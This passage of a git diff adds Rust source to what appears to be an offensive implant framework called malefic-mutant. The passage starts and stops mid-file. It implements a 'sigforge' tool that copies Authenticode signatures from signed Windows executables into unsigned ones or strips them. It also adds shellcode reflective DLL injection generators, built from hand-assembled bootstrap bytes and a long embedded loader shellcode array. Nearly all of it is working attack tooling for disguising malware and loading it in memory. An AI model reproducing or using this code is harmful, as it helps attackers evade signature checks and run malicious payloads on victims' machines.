Err(SignError::NotSigned); + } + + let mut file = File::open(file_path)?; + Self::extract_signature(&mut file, &pe_info) + } + + /// Extract signature from an open file handle + pub fn extract_signature(file: &mut File, pe_info: &PEInfo) -> Result> { + if !pe_info.is_signed() { + return Err(SignError::NotSigned); + } + + // Seek to certificate data location + file.seek(SeekFrom::Start(pe_info.cert_location as u64))?; + + // Read certificate data + let mut cert_data = vec![0u8; pe_info.cert_size as usize]; + file.read_exact(&mut cert_data)?; + + Ok(cert_data) + } + + /// Save extracted signature to file + pub fn save_signature_to_file(signature: &[u8], output_path: &str) -> Result<()> { + use std::fs; + fs::write(output_path, signature)?; + Ok(()) + } + + /// Check if a file is signed (without extracting the signature) + pub fn check_if_signed(file_path: &str) -> Result { + let pe_info = PEParser::parse_file(file_path)?; + Ok(pe_info.is_signed()) + } +} diff --git a/malefic-mutant/src/tool/sigforge/inject.rs b/malefic-mutant/src/tool/sigforge/inject.rs new file mode 100644 index 0000000..8b6d614 --- /dev/null +++ b/malefic-mutant/src/tool/sigforge/inject.rs @@ -0,0 +1,80 @@ +use crate::tool::pe::PEParser; +use crate::tool::sigforge::error::SignError; +use crate::tool::sigforge::extract; +use byteorder::{LittleEndian, WriteBytesExt}; +use std::fs::{copy, File}; +use std::io::{Seek, SeekFrom, Write}; + +type Result = std::result::Result; + +pub struct SignatureInjector; + +impl SignatureInjector { + /// Copy signature from source file to target file + pub fn copy_signature( + source_path: &str, + target_path: &str, + output_path: Option<&str>, + ) -> Result { + // Parse source file to get signature + let source_pe = PEParser::parse_file(source_path)?; + if !source_pe.is_signed() { + return Err(SignError::NotSigned); + } + + // Read signature data + let mut source_file = File::open(source_path)?; + let signature = + extract::SignatureExtractor::extract_signature(&mut source_file, &source_pe)?; + + // Inject signature into target + Self::inject_signature_data(&signature, target_path, output_path) + } + + /// Inject signature from file into target + pub fn inject_from_file( + signature_path: &str, + target_path: &str, + output_path: Option<&str>, + ) -> Result { + // Read signature data from file + let signature = std::fs::read(signature_path)?; + + Self::inject_signature_data(&signature, target_path, output_path) + } + + /// Inject signature data into target file + pub fn inject_signature_data( + signature: &[u8], + target_path: &str, + output_path: Option<&str>, + ) -> Result { + // Parse target file + let target_pe = PEParser::parse_file(target_path)?; + + // Determine output path + let output_path = output_path + .map(|s| s.to_string()) + .unwrap_or_else(|| format!("{}_signed", target_path)); + + // Copy target file to output + copy(target_path, &output_path)?; + + // Open output file for modification + let mut output_file = File::options().write(true).read(true).open(&output_path)?; + + // Get original file size + let original_size = std::fs::metadata(target_path)?.len() as u32; + + // Update certificate table in PE header + output_file.seek(SeekFrom::Start(target_pe.cert_table_location as u64))?; + output_file.write_u32::(original_size)?; // Certificate table offset + output_file.write_u32::(signature.len() as u32)?; // Certificate table size + + // Append signature to end of file + output_file.seek(SeekFrom::End(0))?; + output_file.write_all(signature)?; + + Ok(output_path) + } +} diff --git a/malefic-mutant/src/tool/sigforge/mod.rs b/malefic-mutant/src/tool/sigforge/mod.rs new file mode 100644 index 0000000..af207c0 --- /dev/null +++ b/malefic-mutant/src/tool/sigforge/mod.rs @@ -0,0 +1,10 @@ +pub mod carbon_copy; +pub mod extract; +pub mod inject; +pub mod remove; + +pub use extract::SignatureExtractor; +pub use inject::SignatureInjector; +pub use remove::SignatureRemover; + +pub mod error; diff --git a/malefic-mutant/src/tool/sigforge/remove.rs b/malefic-mutant/src/tool/sigforge/remove.rs new file mode 100644 index 0000000..e88ba90 --- /dev/null +++ b/malefic-mutant/src/tool/sigforge/remove.rs @@ -0,0 +1,41 @@ +use crate::tool::pe::PEParser; +use crate::tool::sigforge::error::SignError; +use byteorder::{LittleEndian, WriteBytesExt}; +use std::fs::{copy, File}; +use std::io::{Seek, SeekFrom}; +type Result = std::result::Result; +pub struct SignatureRemover; + +impl SignatureRemover { + /// Remove signature from a signed PE file + pub fn remove_signature(input_path: &str, output_path: Option<&str>) -> Result { + // Parse input file + let pe_info = PEParser::parse_file(input_path)?; + + if !pe_info.is_signed() { + return Err(SignError::NotSigned); + } + + // Determine output path + let output_path = output_path + .map(|s| s.to_string()) + .unwrap_or_else(|| format!("{}_nosig", input_path)); + + // Copy input file to output + copy(input_path, &output_path)?; + + // Open output file for modification + let mut output_file = File::options().write(true).read(true).open(&output_path)?; + + // Truncate file to remove signature data + let new_size = pe_info.cert_location as u64; + output_file.set_len(new_size)?; + + // Clear certificate table entries in PE header + output_file.seek(SeekFrom::Start(pe_info.cert_table_location as u64))?; + output_file.write_u32::(0)?; // Clear certificate table offset + output_file.write_u32::(0)?; // Clear certificate table size + + Ok(output_path) + } +} diff --git a/malefic-mutant/src/tool/srdi/link_srdi.rs b/malefic-mutant/src/tool/srdi/link_srdi.rs new file mode 100644 index 0000000..7ef007a --- /dev/null +++ b/malefic-mutant/src/tool/srdi/link_srdi.rs @@ -0,0 +1,199 @@ +/* + Reference: https://github.com/postrequest/link/blob/main/src/util/shellcode.rs + +*/ +use crate::config::GenerateArch; + +use super::{ + shellcode::{LINK_RDI_SHELLCODE_32, LINK_RDI_SHELLCODE_64}, + utils::{hash_function_name, pack}, +}; + +pub fn link_shellcode_rdi_from_bytes( + arch: &GenerateArch, + dll_bytes: &[u8], + function_name: &String, + user_data: &[u8], +) -> Vec { + let clear_header = true; + let hash_function: [u8; 4]; + if !function_name.eq("") { + let hash_function_u32 = hash_function_name(&function_name); + hash_function = pack(hash_function_u32); + } else { + hash_function = pack(0x10_u32); + } + let mut flags = 0; + if clear_header { + flags = 0x1; + } + let user_data = if user_data.is_empty() { + "None".as_bytes().to_vec() + } else { + user_data.to_vec() + }; + match arch { + GenerateArch::X64 => { + convert_to_x86_64_shellcode(dll_bytes, hash_function, &user_data, flags) + } + GenerateArch::X86 => convert_to_x86_shellcode(dll_bytes, hash_function, &user_data, flags), + } +} + +pub fn convert_to_x86_64_shellcode( + dll_bytes: &[u8], + function_hash: [u8; 4], + user_data: &[u8], + flags: u32, +) -> Vec { + let mut final_shellcode: Vec = Vec::new(); + + let bootstrap_size = 64; + // call next intruction (Pushes next intruction address to stack) + let mut bootstrap = Vec::new(); + bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]); + + // Set the offset to our DLL from pop result + let dll_offset = bootstrap_size - bootstrap.len() + LINK_RDI_SHELLCODE_64.len(); + + // pop rcx - Capture our current location in memory + bootstrap.extend_from_slice(&[0x59]); + + // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX + bootstrap.extend_from_slice(&[0x49, 0x89, 0xc8]); + + // add rcx, + bootstrap.extend_from_slice(&[0x48, 0x81, 0xc1]); + bootstrap.extend_from_slice(&pack(dll_offset as u32)); + + // mov edx, + bootstrap.extend_from_slice(&[0xba]); + bootstrap.extend_from_slice(&function_hash); + + // Setup the location of our user data + // add r8, + + bootstrap.extend_from_slice(&[0x49, 0x81, 0xc0]); + let user_data_location = dll_offset + dll_bytes.len(); + bootstrap.extend_from_slice(&pack(user_data_location as u32)); + + // mov r9d, + bootstrap.extend_from_slice(&[0x41, 0xb9]); + bootstrap.extend_from_slice(&pack(user_data.len() as u32)); + + // push rsi - save original value + bootstrap.extend_from_slice(&[0x56]); + + // mov rsi, rsp - store our current stack pointer for later + bootstrap.extend_from_slice(&[0x48, 0x89, 0xe6]); + + // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap.extend_from_slice(&[0x48, 0x83, 0xe4, 0xf0]); + + // sub rsp, 0x30 - Create some breathing room on the stack + bootstrap.extend_from_slice(&[0x48, 0x83, 0xec]); + bootstrap.extend_from_slice(&[0x30]); // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment + + // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space + bootstrap.extend_from_slice(&[0xC7, 0x44, 0x24]); + bootstrap.extend_from_slice(&[0x20]); + bootstrap.extend_from_slice(&pack(flags as u32)); + + // call - Transfer execution to the RDI + bootstrap.extend_from_slice(&[0xe8]); + let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4; + bootstrap.extend_from_slice(&[remainder_of_instructions as u8]); // Skip over the remainder of instructions + bootstrap.extend_from_slice(&[0x00, 0x00, 0x00]); + + // mov rsp, rsi - Reset our original stack pointer + bootstrap.extend_from_slice(&[0x48, 0x89, 0xf4]); + + // pop rsi - Put things back where we left them + bootstrap.extend_from_slice(&[0x5e]); + + // ret - return to caller + bootstrap.extend_from_slice(&[0xc3]); + + // Ends up looking like this in memory: + // Bootstrap shellcode + // RDI shellcode + // DLL bytes + // User data + final_shellcode.extend_from_slice(&bootstrap); + final_shellcode.extend_from_slice(&LINK_RDI_SHELLCODE_64); + final_shellcode.extend_from_slice(&dll_bytes); + final_shellcode.extend_from_slice(&user_data); + final_shellcode +} + +pub fn convert_to_x86_shellcode( + dll_bytes: &[u8], + function_hash: [u8; 4], + user_data: &[u8], + flags: u32, +) -> Vec { + let mut final_shellcode: Vec = Vec::new(); + let bootstrap_size = 45; + + // call next intruction (Pushes next intruction address to stack) + let mut bootstrap = Vec::new(); + bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]); + + // Set the offset to our DLL from pop result + let dll_offset = bootstrap_size - bootstrap.len() + LINK_RDI_SHELLCODE_32.len(); + + // pop eax - Capture our current location in memory + bootstrap.extend_from_slice(&[0x58]); + + // mov ebx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap.extend_from_slice(&[0x89, 0xc3]); + + // add eax, + bootstrap.extend_from_slice(&[0x05]); + bootstrap.extend_from_slice(&pack(dll_offset as u32)); + + // add ebx, + + bootstrap.extend_from_slice(&[0x81, 0xc3]); + let user_data_location = dll_offset + dll_bytes.len(); + bootstrap.extend_from_slice(&pack(user_data_location as u32)); + + // push + bootstrap.extend_from_slice(&[0x68]); + bootstrap.extend_from_slice(&pack(flags as u32)); + + // push + bootstrap.extend_from_slice(&[0x68]); + bootstrap.extend_from_slice(&pack(user_data.len() as u32)); + + // push ebx + bootstrap.extend_from_slice(&[0x53]); + + // push + bootstrap.extend_from_slice(&[0x68]); + bootstrap.extend_from_slice(&function_hash); + + // push eax + bootstrap.extend_from_slice(&[0x50]); + + // call - Transfer execution to the RDI + bootstrap.extend_from_slice(&[0xe8]); + let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4; + bootstrap.extend_from_slice(&[remainder_of_instructions as u8]); + bootstrap.extend_from_slice(&[0x00, 0x00, 0x00]); + + // add esp, 0x14 - correct the stack pointer + bootstrap.extend_from_slice(&[0x83, 0xc4, 0x14]); + + // ret - return to caller + bootstrap.extend_from_slice(&[0xc3]); + + // Ends up looking like this in memory: + // Bootstrap shellcode + // RDI shellcode + // DLL bytes + // User data + final_shellcode.extend_from_slice(&bootstrap); + final_shellcode.extend_from_slice(&LINK_RDI_SHELLCODE_32); + final_shellcode.extend_from_slice(&dll_bytes); + final_shellcode.extend_from_slice(&user_data); + final_shellcode +} diff --git a/malefic-mutant/src/tool/srdi/malefic_srdi.rs b/malefic-mutant/src/tool/srdi/malefic_srdi.rs new file mode 100644 index 0000000..d292870 --- /dev/null +++ b/malefic-mutant/src/tool/srdi/malefic_srdi.rs @@ -0,0 +1,156 @@ +use goblin::pe::PE; + +use crate::config::GenerateArch; + +use super::{ + shellcode::{MALEFIC_RDI_SHELLCODE_32, MALEFIC_RDI_SHELLCODE_64}, + utils::pack, +}; + +pub fn malefic_shellcode_rdi_from_bytes( + arch: &GenerateArch, + dll_bytes: &[u8], + function_name: &str, + user_data: &[u8], +) -> Result, String> { + let flags = 0; + let pe = match PE::parse(dll_bytes) { + Ok(pe) => pe, + Err(e) => { + return Err(e.to_string()); + } + }; + + let mut function_offset = 0; + if !function_name.is_empty() { + for func in pe.exports { + match func.name { + Some(name) => { + if function_name.ne(name) { + continue; + } + function_offset = func.rva; + log::info!("entry point off is 0x{:x}", function_offset); + break; + } + None => { + continue; + } + } + } + } + match arch { + GenerateArch::X64 => { + convert_to_x86_64_shellcode(dll_bytes, function_offset as _, user_data, flags) + } + GenerateArch::X86 => { + convert_to_x86_shellcode(dll_bytes, function_offset as _, user_data, flags) + } + } +} + +pub fn convert_to_x86_64_shellcode( + dll_bytes: &[u8], + entrypoint_offset: u32, + user_data: &[u8], + _flags: u32, +) -> Result, String> { + let mut final_shellcode: Vec = Vec::new(); + // let bootstrap_size = 35; + let bootstrap_size = 53; + let dll_offset = MALEFIC_RDI_SHELLCODE_64.len() + bootstrap_size; + let mut bootstrap = Vec::new(); + + bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]); + bootstrap.extend_from_slice(&[0x59]); + // add rcx, dll_offset + bootstrap.extend_from_slice(b"\x48\x81\xc1"); + bootstrap.extend_from_slice(&pack(dll_offset as u32)); + // mov edx, entry_func_offset + bootstrap.extend_from_slice(b"\xba"); + bootstrap.extend_from_slice(&pack(entrypoint_offset as u32)); + // mov r8, user_data + bootstrap.extend_from_slice(b"\x49\x81\xc0"); + let user_data_location = dll_offset + dll_bytes.len(); + bootstrap.extend_from_slice(&pack(user_data_location as u32)); + // mov r9, user_data_len + bootstrap.extend_from_slice(b"\x41\xb9"); + bootstrap.extend_from_slice(&pack(user_data.len() as u32)); + // push rsi + bootstrap.push(b'\x56'); + // mov rsi, rsp + bootstrap.extend_from_slice(b"\x48\x89\xe6"); + // and rsp, 0xfffffffffffffff0 + bootstrap.extend_from_slice(b"\x48\x83\xe4\xf0"); + // sub rsp, 0x30 + bootstrap.extend_from_slice(b"\x48\x83\xec\x20"); + // call 0x23 -> bootstrap -> rdi + bootstrap.push(b'\xe8'); + // bootstrap.push(5 as u8); + let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4; + bootstrap.extend_from_slice(&[remainder_of_instructions as u8]); + bootstrap.extend_from_slice(b"\x00\x00\x00"); + // mov rsp, rsi + bootstrap.extend_from_slice(b"\x48\x89\xf4"); + // pop rsi + bootstrap.push(b'\x5e'); + // pop ret + bootstrap.push(b'\xc3'); + bootstrap.extend_from_slice(b"\xe9\xe7\x1c\x00\x00"); + + final_shellcode.extend_from_slice(&bootstrap); + final_shellcode.extend_from_slice(MALEFIC_RDI_SHELLCODE_64); + final_shellcode.extend_from_slice(dll_bytes); + final_shellcode.extend_from_slice(user_data); + + Ok(final_shellcode) +} + +pub fn convert_to_x86_shellcode( + dll_bytes: &[u8], + entrypoint_offset: u32, + user_data: &[u8], + _flags: u32, +) -> Result, String> { + let mut final_shellcode: Vec = Vec::new(); + let bootstrap_size = 40; + let mut bootstrap = Vec::new(); + bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]); + let dll_offset = MALEFIC_RDI_SHELLCODE_32.len() + bootstrap_size; + // pop eax + bootstrap.extend_from_slice(&[0x58]); + // mov ebx, eax + bootstrap.extend_from_slice(&[0x89, 0xc3]); + // add eax, dll_offset + bootstrap.extend_from_slice(&[0x05]); + bootstrap.extend_from_slice(&pack(dll_offset as u32)); + // push user_data len + bootstrap.extend_from_slice(&[0x68]); + bootstrap.extend_from_slice(&pack(user_data.len() as u32)); + // add ebx, dll_offset + dll_size + bootstrap.extend_from_slice(&[0x81, 0xc3]); + let user_data_location = dll_offset + dll_bytes.len(); + bootstrap.extend_from_slice(&pack(user_data_location as u32)); + // push user_data + bootstrap.extend_from_slice(&[0x53]); + // push entrypoint_offset + bootstrap.extend_from_slice(&[0x68]); + bootstrap.extend_from_slice(&pack(entrypoint_offset as u32)); + // push eax + bootstrap.extend_from_slice(&[0x50]); + + bootstrap.extend_from_slice(&[0xe8]); + let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4; + bootstrap.extend_from_slice(&[remainder_of_instructions as u8]); + bootstrap.extend_from_slice(b"\x00\x00\x00"); + bootstrap.extend_from_slice(b"\x83\xc4\x10"); + bootstrap.push(b'\xc3'); + bootstrap.extend_from_slice(b"\xe9\xf1\x11\x00\x00"); + + final_shellcode.extend_from_slice(&bootstrap); + final_shellcode.extend_from_slice(MALEFIC_RDI_SHELLCODE_32); + final_shellcode.extend_from_slice(dll_bytes); + final_shellcode.extend_from_slice(user_data); + + Ok(final_shellcode) +} diff --git a/malefic-mutant/src/tool/srdi/mod.rs b/malefic-mutant/src/tool/srdi/mod.rs new file mode 100644 index 0000000..3933e6c --- /dev/null +++ b/malefic-mutant/src/tool/srdi/mod.rs @@ -0,0 +1,59 @@ +use crate::config::GenerateArch; +use crate::{log_info, log_success}; +use link_srdi::link_shellcode_rdi_from_bytes; +use malefic_srdi::malefic_shellcode_rdi_from_bytes; + +pub mod link_srdi; +pub mod malefic_srdi; +pub mod shellcode; +pub mod utils; + +pub fn link_srdi_generator( + src_path: &str, + arch: GenerateArch, + target_path: &str, + function_name: &String, + user_data: &[u8], +) -> anyhow::Result<()> { + log_info!("Loaded PE file {}", src_path); + let src_path = std::path::Path::new(src_path); + if !src_path.exists() { + anyhow::bail!("src_path does not exist."); + } + let dll_bytes = std::fs::read(src_path)?; + let data = link_shellcode_rdi_from_bytes(&arch, &dll_bytes, function_name, user_data); + if data.is_empty() { + anyhow::bail!("Failed to link shellcode."); + } + let target_path = std::path::Path::new(target_path); + std::fs::write(target_path, &data)?; + log_success!("Linked shellcode to {}", target_path.display()); + + Ok(()) +} + +pub fn malefic_srdi_generator( + src_path: &str, + arch: &GenerateArch, + target_path: &str, + function_name: &str, + user_data: &[u8], +) -> anyhow::Result<()> { + log_info!("Loaded PE file {}", src_path); + let src_path = std::path::Path::new(src_path); + if !src_path.exists() { + anyhow::bail!("src_path does not exist."); + } + + let dll_bytes = std::fs::read(src_path).unwrap(); + let data = match malefic_shellcode_rdi_from_bytes(&arch, &dll_bytes, function_name, user_data) { + Ok(data) => data, + Err(e) => { + anyhow::bail!(e); + } + }; + let target_path = std::path::Path::new(target_path); + std::fs::write(target_path, &data)?; + log_success!("Generated shellcode to {}", target_path.display()); + Ok(()) +} diff --git a/malefic-mutant/src/tool/srdi/shellcode.rs b/malefic-mutant/src/tool/srdi/shellcode.rs new file mode 100644 index 0000000..728b5be --- /dev/null +++ b/malefic-mutant/src/tool/srdi/shellcode.rs @@ -0,0 +1,1747 @@ +/* + Reference: https://github.com/postrequest/link/blob/main/src/util/shellcode.rs + +*/ +pub static LINK_RDI_SHELLCODE_32: &[u8] = &[ + 0x83, 0xEC, 0x6C, 0x53, 0x55, 0x56, 0x57, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0xE8, 0x6E, 0x06, 0x00, + 0x00, 0x8B, 0xF8, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x7C, 0x24, 0x28, 0xE8, 0x5E, 0x06, 0x00, + 0x00, 0x8B, 0xF0, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x74, 0x24, 0x2C, 0xE8, 0x4E, 0x06, 0x00, + 0x00, 0x8B, 0xD8, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x89, 0x5C, 0x24, 0x20, 0xE8, 0x3E, 0x06, 0x00, + 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x30, 0x06, 0x00, 0x00, 0xB9, + 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x34, 0xE8, 0x22, 0x06, 0x00, 0x00, 0xB9, 0x44, 0xF0, + 0x35, 0xE0, 0x8B, 0xE8, 0xE8, 0x16, 0x06, 0x00, 0x00, 0x89, 0x44, 0x24, 0x40, 0x85, 0xFF, 0x0F, + 0x84, 0x00, 0x06, 0x00, 0x00, 0x85, 0xF6, 0x0F, 0x84, 0xF8, 0x05, 0x00, 0x00, 0x85, 0xDB, 0x0F, + 0x84, 0xF0, 0x05, 0x00, 0x00, 0x83, 0x7C, 0x24, 0x30, 0x00, 0x0F, 0x84, 0xE5, 0x05, 0x00, 0x00, + 0x83, 0x7C, 0x24, 0x34, 0x00, 0x0F, 0x84, 0xDA, 0x05, 0x00, 0x00, 0x85, 0xED, 0x0F, 0x84, 0xD2, + 0x05, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x84, 0xCA, 0x05, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x80, 0x00, + 0x00, 0x00, 0x8B, 0x70, 0x3C, 0x03, 0xF0, 0x81, 0x3E, 0x50, 0x45, 0x00, 0x00, 0x0F, 0x85, 0xB2, + 0x05, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x46, 0x04, 0x0F, 0x85, 0xA3, 0x05, + 0x00, 0x00, 0xF6, 0x46, 0x38, 0x01, 0x0F, 0x85, 0x99, 0x05, 0x00, 0x00, 0x0F, 0xB7, 0x56, 0x06, + 0x33, 0xFF, 0x0F, 0xB7, 0x46, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4E, 0x24, 0x03, 0xC8, 0x83, + 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x46, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, + 0xC7, 0x0F, 0x47, 0xF8, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x58, + 0x50, 0xFF, 0xD5, 0x8B, 0x4C, 0x24, 0x5C, 0x8D, 0x51, 0xFF, 0x8D, 0x69, 0xFF, 0xF7, 0xD2, 0x03, + 0x6E, 0x50, 0x8D, 0x41, 0xFF, 0x03, 0xC7, 0x23, 0xEA, 0x23, 0xC2, 0x3B, 0xE8, 0x0F, 0x85, 0x42, + 0x05, 0x00, 0x00, 0x6A, 0x04, 0xBF, 0x00, 0x30, 0x00, 0x00, 0x57, 0x55, 0xFF, 0x76, 0x34, 0xFF, + 0xD3, 0x8B, 0xD8, 0x89, 0x5C, 0x24, 0x24, 0x85, 0xDB, 0x75, 0x0F, 0x6A, 0x04, 0x57, 0x55, 0x50, + 0xFF, 0x54, 0x24, 0x30, 0x8B, 0xD8, 0x89, 0x44, 0x24, 0x24, 0xF6, 0x84, 0x24, 0x90, 0x00, 0x00, + 0x00, 0x01, 0x74, 0x28, 0x8B, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0x42, 0x3C, 0x89, 0x43, + 0x3C, 0x8B, 0x4A, 0x3C, 0x3B, 0x4E, 0x54, 0x73, 0x31, 0x8D, 0x3C, 0x0B, 0x2B, 0xD3, 0x8A, 0x04, + 0x3A, 0x41, 0x88, 0x07, 0x47, 0x3B, 0x4E, 0x54, 0x72, 0xF4, 0xEB, 0x1E, 0x33, 0xFF, 0x39, 0x7E, + 0x54, 0x76, 0x17, 0x8B, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0xCB, 0x2B, 0xD3, 0x8A, 0x04, + 0x11, 0x47, 0x88, 0x01, 0x41, 0x3B, 0x7E, 0x54, 0x72, 0xF4, 0x8B, 0x6B, 0x3C, 0x33, 0xC9, 0x03, + 0xEB, 0x89, 0x4C, 0x24, 0x1C, 0x33, 0xD2, 0x89, 0x6C, 0x24, 0x14, 0x0F, 0xB7, 0x45, 0x14, 0x66, + 0x3B, 0x55, 0x06, 0x73, 0x40, 0x8D, 0x75, 0x28, 0x03, 0xF0, 0x33, 0xFF, 0x39, 0x3E, 0x76, 0x25, + 0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x04, 0x8D, 0x14, 0x3B, 0x8B, 0x4E, 0xFC, + 0x03, 0xC7, 0x47, 0x8A, 0x04, 0x28, 0x88, 0x04, 0x0A, 0x3B, 0x3E, 0x72, 0xEA, 0x8B, 0x6C, 0x24, + 0x14, 0x8B, 0x4C, 0x24, 0x1C, 0x0F, 0xB7, 0x45, 0x06, 0x41, 0x83, 0xC6, 0x28, 0x89, 0x4C, 0x24, + 0x1C, 0x3B, 0xC8, 0x72, 0xC5, 0x6A, 0x01, 0x8B, 0xFB, 0x5E, 0x89, 0x74, 0x24, 0x20, 0x2B, 0x7D, + 0x34, 0x74, 0x7B, 0x83, 0xBD, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x72, 0x8B, 0x95, 0xA0, 0x00, + 0x00, 0x00, 0x03, 0xD3, 0x83, 0x3A, 0x00, 0x74, 0x65, 0x6A, 0x02, 0x5D, 0x8D, 0x72, 0x08, 0xEB, + 0x46, 0x0F, 0xB7, 0x0E, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, + 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0D, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x0A, 0x01, + 0x3C, 0x19, 0xEB, 0x21, 0x66, 0x3B, 0x44, 0x24, 0x20, 0x75, 0x07, 0x8B, 0xC7, 0xC1, 0xE8, 0x10, + 0xEB, 0x08, 0x66, 0x3B, 0xC5, 0x75, 0x0E, 0x0F, 0xB7, 0xC7, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, + 0x03, 0x0A, 0x01, 0x04, 0x19, 0x03, 0xF5, 0x8B, 0x42, 0x04, 0x03, 0xC2, 0x3B, 0xF0, 0x75, 0xB1, + 0x83, 0x3E, 0x00, 0x8B, 0xD6, 0x75, 0xA5, 0x8B, 0x6C, 0x24, 0x14, 0x33, 0xF6, 0x46, 0x83, 0xBD, + 0x84, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x97, 0x01, 0x00, 0x00, 0x8B, 0x85, 0x80, 0x00, 0x00, + 0x00, 0x8D, 0x0C, 0x18, 0x83, 0xC0, 0x0C, 0x03, 0xC3, 0x89, 0x4C, 0x24, 0x1C, 0x33, 0xC9, 0x89, + 0x4C, 0x24, 0x18, 0x39, 0x08, 0x74, 0x0D, 0x8D, 0x40, 0x14, 0x41, 0x83, 0x38, 0x00, 0x75, 0xF7, + 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x8B, 0xC2, 0x83, 0xE0, 0x04, + 0x89, 0x44, 0x24, 0x3C, 0x0F, 0x84, 0xAE, 0x00, 0x00, 0x00, 0x3B, 0xCE, 0x0F, 0x86, 0xA6, 0x00, + 0x00, 0x00, 0xC1, 0xEA, 0x10, 0x8D, 0x41, 0xFF, 0x89, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x33, + 0xD2, 0x89, 0x44, 0x24, 0x38, 0x89, 0x54, 0x24, 0x20, 0x85, 0xC0, 0x0F, 0x84, 0x92, 0x00, 0x00, + 0x00, 0x8B, 0x5C, 0x24, 0x1C, 0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0x5C, 0x24, 0x1C, + 0x2B, 0xCA, 0x69, 0xED, 0xFD, 0x43, 0x03, 0x00, 0x33, 0xD2, 0x8D, 0x7C, 0x24, 0x44, 0xB8, 0xFF, + 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x81, 0xC5, 0xC3, 0x9E, 0x26, 0x00, 0x33, 0xD2, 0x6A, 0x05, 0x8D, + 0x48, 0x01, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x25, 0xFF, 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x8B, 0x54, + 0x24, 0x24, 0x03, 0xC2, 0x6B, 0xC0, 0x14, 0x59, 0x6A, 0x05, 0x03, 0xC3, 0x42, 0x8B, 0xF0, 0x89, + 0x54, 0x24, 0x24, 0xF3, 0xA5, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0xF8, 0x8B, 0x44, 0x24, 0x20, 0x59, + 0xF3, 0xA5, 0x6A, 0x05, 0x8B, 0xF8, 0x8D, 0x74, 0x24, 0x48, 0x59, 0x83, 0xC0, 0x14, 0xF3, 0xA5, + 0x8B, 0x4C, 0x24, 0x18, 0x89, 0x44, 0x24, 0x1C, 0x3B, 0x54, 0x24, 0x38, 0x72, 0x92, 0x8B, 0x5C, + 0x24, 0x24, 0x8B, 0x6C, 0x24, 0x14, 0xEB, 0x0B, 0x8B, 0x44, 0x24, 0x40, 0x89, 0x84, 0x24, 0x90, + 0x00, 0x00, 0x00, 0x8B, 0xB5, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x20, 0x8B, + 0x46, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x88, 0x00, 0x00, 0x00, 0x8B, 0x6C, 0x24, 0x18, 0x03, 0xC3, + 0x50, 0xFF, 0x54, 0x24, 0x2C, 0x8B, 0x7E, 0x10, 0x89, 0x44, 0x24, 0x38, 0x03, 0xFB, 0x8B, 0x06, + 0x03, 0xC3, 0x89, 0x44, 0x24, 0x24, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x36, 0x8B, 0x6C, 0x24, 0x38, + 0x8B, 0x74, 0x24, 0x2C, 0x79, 0x05, 0x0F, 0xB7, 0xC1, 0xEB, 0x05, 0x8D, 0x41, 0x02, 0x03, 0xC3, + 0x50, 0x55, 0xFF, 0xD6, 0x89, 0x07, 0x83, 0xC7, 0x04, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC0, 0x04, + 0x89, 0x44, 0x24, 0x24, 0x8B, 0x08, 0x85, 0xC9, 0x75, 0xDA, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x6C, + 0x24, 0x18, 0x83, 0x7C, 0x24, 0x3C, 0x00, 0x74, 0x17, 0x33, 0xC0, 0x40, 0x3B, 0xE8, 0x76, 0x10, + 0x69, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0xE8, 0x03, 0x00, 0x00, 0x50, 0xFF, 0x54, 0x24, 0x44, + 0x8B, 0x46, 0x20, 0x83, 